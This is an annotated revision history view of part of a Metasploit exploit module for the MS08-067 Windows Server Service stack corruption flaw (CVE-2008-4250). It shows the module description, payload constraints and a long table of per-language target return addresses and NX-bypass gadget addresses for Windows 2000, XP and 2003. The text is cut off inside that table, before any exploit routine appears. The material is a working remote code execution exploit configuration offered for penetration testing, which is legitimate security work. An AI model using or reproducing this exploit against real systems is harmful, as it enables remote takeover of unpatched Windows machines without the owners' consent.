2008-10-28 07:35:17 +00:00
|
|
|
##
|
2008-10-30 07:21:53 +00:00
|
|
|
# $Id$
|
2008-10-28 07:35:17 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-10-28 07:35:17 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
|
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft Server Service Relative Path Stack Corruption',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a parsing flaw in the path canonicalization code of
|
|
|
|
NetAPI32.dll through the Server Service. This module is capable of bypassing
|
2008-10-31 05:16:02 +00:00
|
|
|
NX on some operating systems and service packs. The correct target must be
|
2008-10-28 07:35:17 +00:00
|
|
|
used to prevent the Server Service (along with a dozen others in the same
|
|
|
|
process) from crashing. Windows XP targets seem to handle multiple successful
|
|
|
|
exploitation events, but 2003 targets will often crash or hang on subsequent
|
|
|
|
attempts. This is just the first version of this module, full support for
|
2008-10-31 05:16:02 +00:00
|
|
|
NX bypass on 2003, along with other platforms, is still in development.
|
2008-10-28 07:35:17 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2008-10-31 05:16:02 +00:00
|
|
|
'hdm', # with tons of input/help/testing from the community
|
|
|
|
'Brett Moore <brett.moore[at]insomniasec.com>'
|
2008-10-28 07:35:17 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-4250'],
|
|
|
|
[ 'MSB', 'MS08-067' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 400,
|
2008-11-02 02:35:57 +00:00
|
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",
|
2008-10-28 07:35:17 +00:00
|
|
|
'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2008-11-03 20:37:51 +00:00
|
|
|
'DefaultTarget' => 0,
|
2008-10-28 07:35:17 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
2008-11-03 20:37:51 +00:00
|
|
|
#
|
|
|
|
# Automatic targetting via fingerprinting
|
|
|
|
#
|
|
|
|
[ 'Automatic Targeting', { 'auto' => true } ],
|
2008-11-04 22:27:59 +00:00
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# UNIVERSAL TARGETS
|
|
|
|
#
|
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
#
|
2008-10-31 21:10:45 +00:00
|
|
|
# Antoine's universal for Windows 2000
|
2008-11-03 20:37:51 +00:00
|
|
|
# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
|
2008-10-31 05:16:02 +00:00
|
|
|
#
|
2008-11-03 20:37:51 +00:00
|
|
|
[ 'Windows 2000 Universal',
|
2008-10-31 05:16:02 +00:00
|
|
|
{
|
|
|
|
'Ret' => 0x001f1cb0,
|
|
|
|
'Scratch' => 0x00020408,
|
|
|
|
}
|
2008-11-03 20:37:51 +00:00
|
|
|
], # JMP EDI SVCHOST.EXE
|
2008-10-31 06:12:49 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Standard return-to-ESI without NX bypass
|
2008-11-03 20:37:51 +00:00
|
|
|
# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
|
|
|
|
#
|
2008-11-04 22:27:59 +00:00
|
|
|
[ 'Windows XP SP0/SP1 Universal',
|
2008-10-31 06:12:49 +00:00
|
|
|
{
|
2008-11-03 20:37:51 +00:00
|
|
|
'Ret' => 0x01001361,
|
2008-10-31 06:12:49 +00:00
|
|
|
'Scratch' => 0x00020408,
|
|
|
|
}
|
2008-11-03 20:37:51 +00:00
|
|
|
], # JMP ESI SVCHOST.EXE
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-10-31 05:16:02 +00:00
|
|
|
#
|
2008-11-04 22:27:59 +00:00
|
|
|
# ENGLISH TARGETS
|
|
|
|
#
|
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
2008-10-31 05:16:02 +00:00
|
|
|
[ 'Windows XP SP2 English (NX)',
|
2008-10-28 07:35:17 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x6f88f727,
|
|
|
|
'DisableNX' => 0x6f8916e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-28 07:35:17 +00:00
|
|
|
}
|
2008-10-31 05:16:02 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
2008-11-04 22:27:59 +00:00
|
|
|
[ 'Windows XP SP3 English (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x6f88f807,
|
2008-11-06 06:08:45 +00:00
|
|
|
'DisableNX' => 0x6f8917c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Standard return-to-ESI without NX bypass
|
2008-11-11 15:22:24 +00:00
|
|
|
[ 'Windows 2003 SP0 Universal',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-11 15:22:24 +00:00
|
|
|
'Ret' => 0x0100129e,
|
2008-11-04 22:27:59 +00:00
|
|
|
'Scratch' => 0x00020408,
|
|
|
|
}
|
2008-11-11 15:22:24 +00:00
|
|
|
], # JMP ESI SVCHOST.EXE
|
2008-11-04 22:27:59 +00:00
|
|
|
|
|
|
|
|
|
|
|
# Standard return-to-ESI without NX bypass
|
|
|
|
[ 'Windows 2003 SP1 English (NO NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x71bf21a2,
|
|
|
|
'Scratch' => 0x00020408,
|
|
|
|
}
|
|
|
|
], # JMP ESI WS2HELP.DLL
|
|
|
|
|
|
|
|
# Brett Moore's crafty NX bypass for 2003 SP1
|
|
|
|
[ 'Windows 2003 SP1 English (NX)',
|
|
|
|
{
|
|
|
|
'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL
|
|
|
|
'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL
|
|
|
|
'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL
|
|
|
|
'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL
|
|
|
|
'Scratch' => 0x00020408,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
|
|
|
|
# Standard return-to-ESI without NX bypass
|
|
|
|
[ 'Windows 2003 SP2 English (NO NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x71bf3969,
|
|
|
|
'Scratch' => 0x00020408,
|
|
|
|
}
|
|
|
|
], # JMP ESI WS2HELP.DLL
|
|
|
|
|
|
|
|
# Brett Moore's crafty NX bypass for 2003 SP2
|
|
|
|
[ 'Windows 2003 SP2 English (NX)',
|
|
|
|
{
|
|
|
|
'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL
|
|
|
|
'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL
|
|
|
|
'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL
|
|
|
|
'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL
|
|
|
|
'Scratch' => 0x00020408,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
|
|
|
|
|
2008-10-31 15:34:17 +00:00
|
|
|
#
|
2008-11-06 06:08:45 +00:00
|
|
|
# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
|
2008-10-31 15:34:17 +00:00
|
|
|
#
|
2008-11-04 22:27:59 +00:00
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
2008-11-06 06:08:45 +00:00
|
|
|
[ 'Windows XP SP2 Arabic (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x6fd8f727,
|
|
|
|
'DisableNX' => 0x6fd916e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Chinese - Traditional / Taiwan (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x5860f727,
|
|
|
|
'DisableNX' => 0x586116e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Chinese - Simplified (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x58fbf727,
|
|
|
|
'DisableNX' => 0x58fc16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Chinese - Traditional (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x5860f727,
|
|
|
|
'DisableNX' => 0x586116e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Czech (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x6fe1f727,
|
|
|
|
'DisableNX' => 0x6fe216e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Danish (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x5978f727,
|
|
|
|
'DisableNX' => 0x597916e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 German (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x6fd9f727,
|
|
|
|
'DisableNX' => 0x6fda16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Greek (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x592af727,
|
|
|
|
'DisableNX' => 0x592b16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Spanish (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x6fdbf727,
|
|
|
|
'DisableNX' => 0x6fdc16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Finnish (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x597df727,
|
|
|
|
'DisableNX' => 0x597e16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 French (NX)',
|
2008-10-31 15:34:17 +00:00
|
|
|
{
|
|
|
|
'Ret' => 0x595bf727,
|
|
|
|
'DisableNX' => 0x595c16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 15:34:17 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Hebrew (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x5940f727,
|
|
|
|
'DisableNX' => 0x594116e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Hungarian (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x5970f727,
|
|
|
|
'DisableNX' => 0x597116e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
2008-10-31 05:16:02 +00:00
|
|
|
[ 'Windows XP SP2 Italian (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x596bf727,
|
|
|
|
'DisableNX' => 0x596c16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 05:16:02 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Japanese (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x567fd3be,
|
|
|
|
'DisableNX' => 0x568016e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Korean (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x6fd6f727,
|
|
|
|
'DisableNX' => 0x6fd716e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Dutch (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x596cf727,
|
|
|
|
'DisableNX' => 0x596d16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Norwegian (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x597cf727,
|
|
|
|
'DisableNX' => 0x597d16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Polish (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x5941f727,
|
|
|
|
'DisableNX' => 0x594216e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
2008-11-04 22:27:59 +00:00
|
|
|
[ 'Windows XP SP2 Portuguese - Brazilian (NX)',
|
2008-10-31 11:45:52 +00:00
|
|
|
{
|
|
|
|
'Ret' => 0x596ff727,
|
|
|
|
'DisableNX' => 0x597016e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 11:45:52 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-10-31 14:15:16 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Portuguese (NX)',
|
2008-10-31 14:15:16 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x596bf727,
|
|
|
|
'DisableNX' => 0x596c16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 14:15:16 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-06 06:08:45 +00:00
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Russian (NX)',
|
2008-10-31 05:16:02 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x6fe1f727,
|
|
|
|
'DisableNX' => 0x6fe216e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 05:16:02 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
2008-10-31 15:34:17 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
2008-11-06 06:08:45 +00:00
|
|
|
[ 'Windows XP SP2 Swedish (NX)',
|
2008-10-31 15:34:17 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x597af727,
|
|
|
|
'DisableNX' => 0x597b16e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 15:34:17 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-06 06:08:45 +00:00
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP2 Turkish (NX)',
|
2008-10-31 14:07:58 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x5a78f727,
|
|
|
|
'DisableNX' => 0x5a7916e2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 14:07:58 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-06 06:08:45 +00:00
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Arabic (NX)',
|
2008-10-31 05:16:02 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x6fd8f807,
|
|
|
|
'DisableNX' => 0x6fd917c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 05:16:02 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-10-31 11:45:52 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Chinese - Traditional / Taiwan (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x5860f807,
|
|
|
|
'DisableNX' => 0x586117c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Chinese - Simplified (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x58fbf807,
|
|
|
|
'DisableNX' => 0x58fc17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Chinese - Traditional (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x5860f807,
|
|
|
|
'DisableNX' => 0x586117c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Czech (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x6fe1f807,
|
|
|
|
'DisableNX' => 0x6fe217c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Danish (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x5978f807,
|
|
|
|
'DisableNX' => 0x597917c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 German (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x6fd9f807,
|
|
|
|
'DisableNX' => 0x6fda17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Greek (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x592af807,
|
|
|
|
'DisableNX' => 0x592b17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Spanish (NX)',
|
2008-10-31 11:45:52 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x6fdbf807,
|
|
|
|
'DisableNX' => 0x6fdc17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 11:45:52 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
2008-11-04 22:27:59 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
2008-11-06 06:08:45 +00:00
|
|
|
[ 'Windows XP SP3 Finnish (NX)',
|
2008-10-28 07:35:17 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x597df807,
|
|
|
|
'DisableNX' => 0x597e17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-28 07:35:17 +00:00
|
|
|
}
|
2008-11-04 22:27:59 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-06 06:08:45 +00:00
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 French (NX)',
|
2008-11-04 22:27:59 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x595bf807,
|
|
|
|
'DisableNX' => 0x595c17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-04 22:27:59 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-10-31 05:55:57 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Hebrew (NX)',
|
2008-10-31 05:55:57 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x5940f807,
|
|
|
|
'DisableNX' => 0x594117c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-31 05:55:57 +00:00
|
|
|
}
|
2008-11-06 06:08:45 +00:00
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
2008-11-04 22:27:59 +00:00
|
|
|
|
2008-11-06 06:08:45 +00:00
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Hungarian (NX)',
|
2008-10-28 07:35:17 +00:00
|
|
|
{
|
2008-11-06 06:08:45 +00:00
|
|
|
'Ret' => 0x5970f807,
|
|
|
|
'DisableNX' => 0x597117c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-11-06 06:08:45 +00:00
|
|
|
}
|
|
|
|
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL
|
|
|
|
|
|
|
|
# Metasploit's NX bypass for XP SP2/SP3
|
|
|
|
[ 'Windows XP SP3 Italian (NX)',
|
|
|
|
{
|
|
|
|
'Ret' => 0x596bf807,
|
|
|
|
'DisableNX' => 0x596c17c2,
|
2008-11-06 14:56:06 +00:00
|
|
|
'Scratch' => 0x00020408
|
2008-10-28 07:35:17 +00:00
|
|
|
}
|
2008-11-04 22:27:59 +00:00
|
|
|
